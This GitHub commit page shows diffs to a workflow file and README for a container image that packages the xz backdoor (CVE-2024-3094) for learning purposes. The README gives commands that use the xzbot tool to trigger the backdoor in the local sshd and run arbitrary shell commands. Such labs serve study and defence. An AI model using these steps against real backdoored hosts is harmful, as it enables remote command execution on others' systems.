Skip to content

Commit

Permalink
Increase tag priority
Browse files Browse the repository at this point in the history
  • Loading branch information
rezigned committed Apr 4, 2024
1 parent ffa1430 commit 17322b4
Show file tree
Hide file tree
Showing 2 changed files with 17 additions and 7 deletions.
7 changes: 4 additions & 3 deletions .github/workflows/publish.yml
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,6 @@ env:
IMAGE_NAME: ${{ github.repository }}
PLATFORM: linux/amd64


jobs:
build:
runs-on: ubuntu-latest
Expand Down Expand Up @@ -70,9 +69,11 @@ jobs:
images: |
${{ env.IMAGE_NAME }}
ghcr.io/${{ env.IMAGE_NAME }}
flavor: |
latest=false
tags: |
type=raw,value={{ matrix.version }}
type=raw,value=latest,enable={{is_default_branch}}
type=raw,value=${{ matrix.version }}
type=raw,value=latest,enable=${{ matrix.version == '5.6.1' }}
# Build and push Docker image with Buildx (don't push on PR)
# https://github.com/docker/build-push-action
Expand Down
17 changes: 13 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,21 @@
# xz backdoor container image

A container image of [xz](https://tukaani.org/xz-backdoor/) backdoor ([CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094)) based on an amazing work from [@amlweems](https://github.com/amlweems)'s [xzbot](https://github.com/amlweems/xzbot) project that can be run on both *x86_64* and *Apple Silicon* (via QEMU or rosetta).
The container image of [xz](https://tukaani.org/xz-backdoor/) backdoor ([CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094)) based on an amazing work from [@amlweems](https://github.com/amlweems)'s [xzbot](https://github.com/amlweems/xzbot) project that can be run on both *x86_64* and *Apple Silicon* (via QEMU or rosetta).

> THIS IS FOR LEARNING PURPOSE ONLY!
## Demo
![xz-backdoor demo](.github/demo.gif)

## Overview
The container images are available on both Github ([ghcr.io/rezigned/xz-backdoor](https://github.com/rezigned/xz-backdoor/pkgs/container/xz-backdoor)) and Docker ([rezigned/xz-backdoor](https://hub.docker.com/r/rezigned/xz-backdoor)) registries.

### Versions
Both versions of the xz-backdoor are available as image tags.

* 5.6.0
* 5.6.1 (`latest`)

## Getting started

### Prerequisites
Expand All @@ -25,7 +34,7 @@ docker run --rm -it -d \
--privileged \
--name xz-backdoor \
--platform linux/amd64 \
ghcr.io/rezigned/xz-backdoor:latest
rezigned/xz-backdoor:latest # or xz-backdoor:5.6.0
```
**2. Run a command via `xzbot`**

Expand All @@ -36,10 +45,10 @@ docker run --rm -it -d \
```sh
# default command `id > /tmp/.xz`
docker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot -addr "127.0.0.1:22"
docker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot

# custom command
docker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot -addr "127.0.0.1:22" -cmd "uname -a > /tmp/.xz"
docker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot -cmd "uname -a > /tmp/.xz"
```

## Acknowledgements
Expand Down

0 comments on commit 17322b4

Please sign in to comment.